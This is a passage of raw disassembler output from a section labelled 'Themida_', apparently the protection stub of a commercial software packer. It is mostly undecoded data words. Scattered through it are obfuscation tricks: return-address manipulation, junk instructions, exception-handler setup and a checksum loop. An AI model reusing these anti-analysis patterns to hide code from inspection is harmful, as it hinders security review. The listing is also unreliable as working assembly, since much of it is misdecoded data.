0B840Fh, 6E90000h, 45000000h, 2054ED3h, 0DFBF0FF5h dd 20CD9D89h, 0C0830615h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 7F551C4h, 15840Fh dd 10E90000h, 58000000h, 2698E179h, 4C1BEC0Ch, 4EBF76FAh dd 50A74F79h, 6820Fh, 860F0000h, 0 ; --------------------------------------------------------------------------- mov [esp], eax mov di, 0F95Bh mov ebx, edi push 0 push 0 push eax call sub_5C0CEA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0CEA proc near ; CODE XREF: Themida_:005C0CE2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5C0CEA endp ; --------------------------------------------------------------------------- dw 6265h ; --------------------------------------------------------------------------- adc bl, 5Dh mov edi, eax sub edi, 219D8F76h push 0 mov ebx, [ebp+61518A5h] call dword ptr [ebp+6152679h] push 0 push ecx call sub_5C0D20 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0D20 proc near ; CODE XREF: Themida_:005C0D18p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5C0D20 endp ; --------------------------------------------------------------------------- dd 3AB6E6AFh, 71EDCC92h, 10E8h, 0AA4C6B00h, 75403175h dd 3E7AAD5Fh, 3DEE69A4h, 48D0F47h, 66000000h, 5FA27EBFh dd 9C158D8Dh, 9D8B0618h, 61516B9h, 6AD1FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 247F1BC3h dd 0AA0F6E69h, 6830F36h, 3000000h, 1522599Dh, 0B5BD8306h dd 106152Dh, 98850Fh, 8D890000h, 6151A35h, 8166026Ah, 505BBAE7h dd 9E96060h, 32000000h, 7B91CBEBh, 3A5081D4h, 60615F50h dd 0AE8h, 458B0600h, 0D8D781C5h, 5FEE2AE4h, 8E0Fh, 61610000h dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0B3D8C356h, 0C4AED767h, 759D33ACh dd 81061534h, 8E3B43C7h, 4D95FF3Ch, 6A06151Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 7EE3C352h, 18E8754Bh, 8A1F7825h, 7CE9FCDAh, 0E800000Dh dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6197415h jns loc_5C0E5D jns loc_5C0E5D mov edi, [ebp+61518C5h] loc_5C0E5D: ; CODE XREF: Themida_:005C0E4Bj ; Themida_:005C0E51j jmp loc_5C0E68 ; --------------------------------------------------------------------------- dw 9637h dd 3DAB63EDh ; --------------------------------------------------------------------------- loc_5C0E68: ; CODE XREF: Themida_:loc_5C0E5Dj stc lea eax, [ebp+61888F9h] push 0 push edx call sub_5C0E7A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0E7A proc near ; CODE XREF: Themida_:005C0E72p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5C0E7A endp ; --------------------------------------------------------------------------- aam 73h retf 1225h ; --------------------------------------------------------------------------- db 6Eh ; --------------------------------------------------------------------------- mov edi, [ebp+61512B5h] nop call sub_5C0EA8 push 440D978Bh or eax, [edx] retf ; --------------------------------------------------------------------------- dd 7FBFCCEh ; =============== S U B R O U T I N E ======================================= sub_5C0EA8 proc near ; CODE XREF: Themida_:005C0E97p mov bh, 0C8h pop ebx push eax mov edi, 7ED7F430h nop push 0 push edx call sub_5C0EBD and [edx-3Dh], bl sub_5C0EA8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C0EBD proc near ; CODE XREF: sub_5C0EA8+Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5C0EBD endp ; --------------------------------------------------------------------------- db 41h, 54h, 0B5h dd 12631EA4h, 35FF644Ch, 0 ; --------------------------------------------------------------------------- mov di, cx sub [ebp+61509C9h], ecx mov large fs:0, esp mov edi, 420EE822h inc dword ptr [ebp+6151535h] push 0 push esi call sub_5C0F02 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0F02 proc near ; CODE XREF: Themida_:005C0EFAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5C0F02 endp ; --------------------------------------------------------------------------- dw 0DEAh dd 0BF0BBF59h, 4CEF26CDh, 1041BD01h, 0FA8B0615h, 13E8FF6Ah dd 5000000h, 0A59F0E12h, 7213CF07h, 0FD9647F7h, 0A6190D2Ah dd 0B5894FE1h, 6152AEDh, 95B5FF5Fh, 6A061505h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6D52C355h, 0DF537B6h, 0FF5B4CAAh, 1508BD95h, 14AE906h dd 0B0F80000h, 0C820F00h, 0F000000h, 688h, 4DBD8B00h, 0E6061516h dd 0C880F70h, 0F000000h, 687h, 3DBD8B00h, 0E406151Ah, 6870F71h dd 29000000h, 150C4995h, 0F613C06h, 10B83h, 0FE8B6600h dd 0E9C8B60Fh, 0Fh, 11A0377Bh, 217341B0h, 0D63D77DFh, 897182F3h dd 151D59B5h, 6BA06h, 89500000h, 1507F98Dh, 8D895B06h dd 6151A25h, 860FC18Bh, 0Bh, 5840Fh, 6ABB0000h, 5606E1DEh dd 2E89BD8Bh, 0C15F0615h, 0BD8B04E8h, 6150C09h, 0BFE2F766h dd 1E2268CCh, 0EE9h, 652100h, 77106531h, 0E7F71204h, 2B3254D8h dd 0DB8166C8h, 0D18BA1F5h, 0BF7EC2BFh, 5E927h, 0A4BB0000h dd 8B380D2Ch, 1519D185h, 0C083F506h, 0F88B6607h, 3300C083h dd 1504A1BDh, 0FD03B06h, 2A83h, 7DB06000h, 2666DBBEh, 55E96157h dd 0E9000000h, 14h, 3105877Dh, 0FC81C8F0h, 8FA8654h, 0ED431B41h dd 0F05AF32Eh, 8BFE8B66h, 15108D8Dh, 0ADBD8906h, 8306150Bh dd 840F01E1h, 24h, 27DBD89h, 0A5830615h, 615108Dh, 0A9BD8BFEh dd 89061528h, 1519D195h, 0FD958906h, 0E9061510h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6190094h] mov edi, 4756EDE5h or [ebp+6152585h], ebx push 0 push 0 push ecx call sub_5C10E2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C10E2 proc near ; CODE XREF: Themida_:005C10DAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5C10E2 endp ; --------------------------------------------------------------------------- mov dh, 58h retf 0F89Ch ; --------------------------------------------------------------------------- jle short loc_5C116B mov [ebp+6152E05h], edi call dword ptr [ebp+6152E21h] push 0 push edi call sub_5C1110 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1110 proc near ; CODE XREF: Themida_:005C1108p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5C1110 endp ; --------------------------------------------------------------------------- dd 0F8FE606Fh, 71B9DF8Bh, 6A000009h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8B97C357h dd 78223524h, 7E92CA2h, 6E000000h, 4F0492A2h, 0E183C978h dd 3800FFCh, 66000000h, 81FCD98Bh db 0D7h, 0F0h, 3Fh ; --------------------------------------------------------------------------- loc_5C116B: ; CODE XREF: Themida_:005C10F7j fld qword ptr [edi] mov eax, 0 push 0 push esi call sub_5C117D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C117D proc near ; CODE XREF: Themida_:005C1175p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5C117D endp ; --------------------------------------------------------------------------- mov dl, bl mov dh, 46h pop ebp movsx ebx, dx mov edx, 0 mov bh, 16h loc_5C119C: ; CODE XREF: Themida_:005C11A6j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C119C push 0 push eax call sub_5C11B3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C11B3 proc near ; CODE XREF: Themida_:005C11ABp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5C11B3 endp ; --------------------------------------------------------------------------- db 6 dd 6AEAFA58h, 189D9D8Bh, 6AF90615h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 52C3C357h dd 0D5F04B7h, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0DCC35343h, 0A9831F93h, 0D9397B64h, 2721958Bh dd 0BB660615h, 8D8B439Dh, 61504CDh, 0DE9h, 0DA959900h dd 0B093BF31h, 50CAB4F3h, 8B50704Dh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 1CC35141h, 13F0DC8h, 56128A7Fh, 7ED8509h dd 0E95F0615h, 0Ah, 0F3C09DBAh, 9C8E53C4h, 8B66E35Ch, 0A9BD83D8h dd 61518h, 57840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0D98BF3C3h, 0B8h, 9E8D8D00h dd 8B06154Fh, 152D81BDh, 6AE1FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3F32C352h dd 8B512C1Ch, 152A759Dh, 15BD8306h, 61511h, 49F840Fh, 81660000h dd 833922CBh, 151115BDh, 840F0106h, 4A8h, 0BD83F98Bh, 6151115h dd 63860F03h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 43FFC357h, 487C0E71h dd 8589C75Ah, 6151315h, 2D8529h, 1600615h, 15346195h, 0D98C6606h dd 23359D89h, 80FC0615h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 269493C3h, 0B7B32800h dd 959D8999h, 66061528h, 0A7975BBh, 6A840FC9h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0DDAEC351h, 604BC085h, 6880Fh, 0BD890000h dd 61506C9h, 8B615E53h, 15249D85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 8E4FEA81h dd 0B58533A0h, 6A061519h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 41D2C355h, 54E442BDh dd 0F5F4C6Eh, 13E9FEB7h, 9F000000h, 0CF081855h, 5C6FEDEAh dd 18647844h, 81C409E1h, 8950FBA0h, 85892404h, 61501C1h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0FEC971C3h, 0CF3280A7h, 4E8F014h, 0FF000000h dd 8B001F03h, 505350DEh, 0F5B5652h, 0F525031h, 5A585A31h dd 448B5F58h, 8B560424h, 8B5FFEh, 448965B3h, 8B660424h dd 0FFF858DAh, 150DAD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD89FE61h dd 6150D61h, 0BF998589h, 9D890618h, 6152AF5h, 25FE9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 6405607Ch, 29C105D7h, 151C91BDh, 5DBD8B06h, 81061510h dd 8F8DDAE3h, 91858B74h, 570618BFh, 2C8DBD33h, 0C75F0615h dd 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0F781E5F1h, 89256F0Ch, 1502958Dh dd 95B58B06h, 90618BFh, 1525D59Dh, 0D5BD3306h, 8B06151Dh dd 150C4585h, 0CB816606h, 68902C0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 7EC35040h, 0E9B529D3h, 8B06150Ah dd 15249D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0EE3729F7h, 0D2C16E83h, 1DBD3188h dd 89061505h, 6A0446h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 39F83C3h, 15189D9Dh, 0BE806h, 75B30000h dd 8D595BC0h, 1312A8F7h, 0C5BD89A7h, 5B06150Ch, 50B4B796h dd 10E8h, 9C20AE00h, 8A86646Eh, 15CAC3C3h, 7324397Ch, 55EDBF1Ah dd 965F6CD2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0B0C35141h, 0DC9EC951h, 0FF012497h, 18BF91B5h dd 119D2B06h, 0E8061501h, 4, 1F03FFh, 50FE8B66h, 8B665250h dd 50310FFEh, 8E0F52h, 0F000000h, 5A2EB731h, 8B585A58h dd 0E8042444h, 11h, 0BB7F7805h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah dd 0E9525081h, 5, 6AACBEC5h, 50310FFDh, 5A310F52h, 5B585A58h dd 4489008Bh, 52500424h, 9416BB66h, 0BF66310Fh, 585ADAB6h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 3E9D2075h, 8589D8E5h, 6151511h, 31B52953h dd 5F061507h, 0BF99858Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0F12C3CC3h, 1E254EB3h dd 14E850B2h, 2000000h, 0D9098C67h, 9D659CEDh, 77ACC51h dd 0AA0AF49Ah, 8BFAD7A3h, 4895BD9h, 0F98B6624h, 0DAD95FFh dd 0B5890615h, 61506FDh, 0F3816661h, 85C771AAh, 6151115h dd 3, 83D88B66h, 18BF99BDh, 840F0006h, 36h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D4C35545h, 7BC62F66h dd 0D1B9C023h, 0B1F2CF81h, 0BB663699h, 1EE9CFC9h, 66000000h dd 3050F98Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0BD8953C0h, 6152351h, 0FB8B665Bh, 1115BD83h dd 0F030615h, 39785h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 2038018Eh, 661D0806h dd 831284BFh, 18BF99BDh, 840F0006h, 364h, 17E19D8Bh, 0B5FF0615h dd 618BF99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 82C35646h, 30731A4Dh, 8A45B1E1h, 0E195FFDEh, 8B061510h dd 151E71BDh, 8DB58B06h, 8B0618BFh, 15232DBDh, 2890F06h dd 8B000000h, 106C7D8h, 1000100h, 152B3D95h, 7EBB9606h dd 503E8040h, 1FB75250h, 585A310Fh, 57006A96h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 62DDCD54h dd 9D8BE677h, 6150551h, 0BF99B5FFh, 6A0618h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0AFDB6C3h dd 12E859h, 0D99D0000h, 0AEF76359h, 0FFD2EE24h, 780BAA22h dd 9ABF6215h, 10A59D33h, 895B0615h, 1518C585h, 0A195FF06h dd 6A061506h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0B4D2C353h, 812D4E2Bh, 0C3816652h dd 8B5B31F5h, 152D1DBDh, 8DB58B06h, 6A0618BFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0C28FC352h, 281C1BDCh, 858B440Fh, 6150059h, 0C48689h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 660792C3h, 9D8BFE8Bh, 6152705h, 2721958Bh dd 0BD2B0615h, 615140Dh, 6604C283h, 5089DA8Bh, 0DA8B5320h dd 58858D5Bh, 6A0618D4h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0D206C356h dd 5805087h, 5E944h, 0FC6D0000h, 89282E00h, 0B886h, 0DE800h dd 3C4F0000h, 0D0196F50h, 4452B355h, 660FE6A6h, 5BCF6DBFh dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 7D7AE2C3h, 882BAE14h, 99B5FF5Bh, 6A0618BFh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0BB61C351h, 4B8A1EADh, 0BB8AD301h, 4663F6AEh dd 1D4D95FFh, 95290615h, 6152185h, 0D98B6650h, 80243489h dd 0B5FF7AD7h, 618BF99h, 0BBA2DF81h, 95FF5726h, 6150729h dd 8371CF80h, 150065BDh, 840F0006h, 37h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 16h, 21C35545h, 8F0F9B24h dd 6, 4B98D09h, 50960615h, 0BC1274BFh, 0F8BF9623h, 0FF59ED46h dd 18BF99B5h, 5CC78106h, 0FF78038Eh, 15043995h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 44535A6Ch, 11E9h, 94E91800h, 44DC25B4h, 35F156F8h, 0E1E08F6Dh dd 0BD8BDB81h, 615144Dh, 0BF99B5FFh, 6A0618h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 8D0F04C3h dd 3, 0FFD4F780h, 150DCD95h, 0D98B6606h, 285DBD83h, 0F020615h dd 3284h, 12E900h, 0A25C0000h, 3CEABC68h, 0C6281D3Dh, 0B46A6D1Eh dd 3B69CB23h, 2849858Bh, 0DE90615h, 0C5000000h, 0E431D1C6h dd 3E41353Dh, 706DBC21h, 0C70000C6h, 1523F585h, 6, 0DBB70F00h dd 0FFF39FE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 5A73E43Fh, 81C50970h dd 61DD4AF7h, 0FC18B32h, 682h, 11B58900h, 8D061511h, 15279D85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 28758B56h, 0C9D18EEEh, 0F19D891Eh, 0BF061517h dd 4D0F2B17h, 0DE96050h, 7C000000h, 0B22849F2h, 0DEAB2ED5h dd 52C1EE25h, 7D97BF60h, 5E5378E7h, 4896161h, 6A006A24h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 40ECC352h, 0C517AAA6h, 0FFD1AC5Bh, 858950F8h dd 61506A9h, 6A006A5Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 8DB3C356h, 26A3AB39h dd 0F5745195h, 83E4858Dh, 6A0619h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0A08F2DC3h, 0BB4C8AF9h dd 26659D8Bh, 0C0830615h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0F4563520h dd 60F9D6A6h, 2C8D8D8Bh, 8D8B0615h, 615010Dh, 8B665061h dd 240489DAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 2FC35545h, 2EDCF01h, 0B3006ACDh, 6A006AB8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 6A6FC350h, 95FF943Eh, 6152679h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 4DC35141h, 0CFDD88EDh, 13E9E9h dd 65840000h, 0C5E47935h, 1DCF310Ah, 4FF78A32h, 0E8820855h dd 2D9D8B6Fh, 8D06150Ch, 189C158Dh, 0C3816606h, 0D1FF805Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A3C35242h dd 468D6EF7h, 0BE9023Ah, 0EE000000h, 773A5DECh, 1ADD752Eh dd 0BD8307A3h, 6152DB5h, 6C850F01h, 0F5000000h, 8960026Ah dd 15130D85h, 8D06BE06h, 506123A2h, 0FE9h, 1985CC00h, 160696AEh dd 9BE51318h, 892C7495h, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7BBEC352h dd 4D95FFFBh, 6A06151Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 818BC356h, 0E9FFFD5Dh dd 0C6Eh ; --------------------------------------------------------------------------- loc_5C1E18: ; DATA XREF: Themida_:0057B7BCo call $+5 pop ebp sub ebp, 61983EEh mov [ebp+6151D8Dh], ebx push 0 push ebp call sub_5C1E35 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1E35 proc near ; CODE XREF: Themida_:005C1E2Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5C1E35 endp ; --------------------------------------------------------------------------- db 26h, 0BBh, 0Bh ; --------------------------------------------------------------------------- inc ebp adc eax, 0F9858D22h mov [eax], bl push es push edi clc pop edi push eax mov bl, 0C0h mov [esp], eax push 0 push edx call sub_5C1E65 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1E65 proc near ; CODE XREF: Themida_:005C1E5Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C1E65 endp ; --------------------------------------------------------------------------- db 55h, 0E1h, 5Ch ; --------------------------------------------------------------------------- mov ebx, esi push large dword ptr fs:0 push 0 push ecx call sub_5C1E8C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1E8C proc near ; CODE XREF: Themida_:005C1E84p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5C1E8C endp ; --------------------------------------------------------------------------- dd 0CF66F496h, 64364978h, 2589h, 0B70F0000h, 3585FFDBh dd 6A061515h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 6337C357h, 89079735h, 150569BDh dd 0FFFF6A06h, 152D19B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 95FF1135h dd 61508BDh, 12BE9h, 5100B000h, 292541BFh, 0BD8B5F64h dd 6152AA1h, 850970E6h, 61525C1h, 8B6671E4h, 0F613CDAh dd 10783h, 0B5295300h, 61510A9h, 0C8B60F5Bh, 6BAF9h, 0AE80000h dd 9E000000h, 7218BFF0h, 4CCB185Eh, 3EB810Ah, 5B21AC4Ch dd 0BD8BC18Bh, 6151291h, 14219D8Bh, 0E8C10615h, 8D9D8B04h dd 66061530h, 0D98BE2F7h, 9D8BC82Bh, 6150AA9h, 0FE9D18Bh dd 81000000h, 0AD48E5EEh, 0B6C30FFDh, 8E33DF3Dh, 0E9D0BCh dd 8B000000h, 15059D85h, 0E99D8B06h, 83061523h, 958907C0h dd 6152E05h, 6800F56h, 8B000000h, 150AA1BDh, 0C0835F06h dd 6810F00h, 89000000h, 1504A1BDh, 0FD03B06h, 0B83h, 61E9F500h dd 0BB000000h, 2C5EA7F7h, 27158D8Bh, 89500615h, 152A859Dh dd 0E1835F06h, 45840F01h, 0E9000000h, 0Fh, 54839CE3h, 15D734FFh dd 380AB2C7h, 83114463h, 152715A5h, 9D0BFE06h, 6152AC9h dd 59D9589h, 14E90615h, 73000000h, 0B140837h, 340A06B2h dd 0F88F75F0h, 0C9FE13FBh, 0E9E1355Dh, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6190BCCh] pusha mov eax, [ebp+6151A59h] mov ebx, [ebp+61526A5h] popa push 0 mov [ebp+6151A6Dh], edi call dword ptr [ebp+6152E21h] push 0 push eax call sub_5C2061 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2061 proc near ; CODE XREF: Themida_:005C2059p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C2061 endp ; --------------------------------------------------------------------------- db 31h, 12h, 82h dd 57C0219Ah, 0F99F4943h, 89DB9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0CE78BEF9h dd 0A1B589D3h, 83061507h, 0FC8AFCE1h, 0F5B589FCh, 2B061510h dd 759529C0h, 0BA061502h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5C20CB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C20CB proc near ; CODE XREF: Themida_:005C20C3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5C20CB endp ; --------------------------------------------------------------------------- db 46h dd 5F59ED84h, 0E15D5DA1h, 0BE860D4h, 9B000000h, 782AC62Ch dd 982E301Ah, 59FC8DADh, 2EC5F4B9h, 33AD6132h, 3E8D1C2h dd 4E983D0h, 10E9F475h, 0E7000000h, 0AA05E64Ch, 0DFBB4B74h dd 4EFC1321h, 9BC59B8h, 1518E595h, 880D06h, 0CE90000h dd 61000000h, 2B3AD99Ch, 641B84A4h, 607A5A9Dh, 7A0FD781h dd 95893974h, 61522D9h, 21958B61h, 6A061527h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 700DC351h, 91DC4082h, 8D8B70E6h, 61504CDh, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 66674CC3h dd 168C0Fh, 11E90000h, 39000000h, 938B8494h, 56B77ADCh dd 1756D606h, 72A28EE1h, 52DBD8Bh, 0BB660615h, 0BD839F75h dd 61518A9h, 58840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2A64C353h dd 0C7044A6Eh, 24DB81CBh, 0B804B553h, 0 ; --------------------------------------------------------------------------- mov ebx, 4B149C88h lea ecx, [ebp+6154F9Eh] xor edi, [ebp+6152A4Dh] mov edi, [ebp+6152FD9h] jmp ecx ; --------------------------------------------------------------------------- jmp loc_5C2233 ; --------------------------------------------------------------------------- dw 0D268h dd 10E40EE9h, 0C0C7033Ch db 7Dh, 92h, 5 ; --------------------------------------------------------------------------- loc_5C2233: ; CODE XREF: Themida_:005C2221j cmp dword ptr [ebp+6151115h], 0 jz loc_5C2671 push edx jmp loc_5C2254 ; --------------------------------------------------------------------------- dw 0CC09h dd 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh ; --------------------------------------------------------------------------- loc_5C2254: ; CODE XREF: Themida_:005C2241j pop ebx mov ebx, 7C563BCBh cmp dword ptr [ebp+6151115h], 1 jz loc_5C268C mov [ebp+6153475h], ecx mov di, 9AE8h cmp dword ptr [ebp+6151115h], 3 jbe loc_5C2656 sub [ebp+6151031h], esi pusha push 0 push edi call sub_5C2290 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2290 proc near ; CODE XREF: Themida_:005C2288p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5C2290 endp ; --------------------------------------------------------------------------- dd 77AD4AE1h, 8C66427Bh, 14E9D9h, 287F0000h, 3EF09798h dd 0C354A742h, 12903125h, 0D242EBEBh, 0E1807ECBh, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0CD7B983Ch, 840FC90Ah, 0F9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0F7C35747h, 53EFD354h, 97BF660Bh dd 9D858B93h, 0F061524h, 8Fh, 33FA8B00h, 1519B585h, 0DA8B9006h dd 0B8666050h, 8B66850Ch, 0F9061F1h, 6AFABFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A5C35646h, 813F8D91h dd 8BD2F689h, 150C6DBDh, 85D86806h, 348168C8h, 0D7862724h dd 0C820F68h, 0F000000h, 68Ah, 0F5858900h, 0FF061518h dd 150DAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 89678CC5h, 152C758Dh, 99858906h dd 8A0618BFh, 239E9DCh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 6E8409C3h, 5B9030BCh dd 819D8B89h, 8B061512h, 151005BDh, 91858B06h, 6A0618BFh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0A9A3C356h, 698D8944h, 23061503h, 1533D19Dh dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 34FC356h, 762ABC28h dd 0B58BEF6Fh, 618BF95h, 0EE9h, 0F514F200h, 8380DECCh dd 9FA15158h, 8B05841Eh, 150C4585h, 25B52906h, 89061523h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 76D30D94h, 8B102966h, 68B0FD9h, 31000000h dd 1526358Dh, 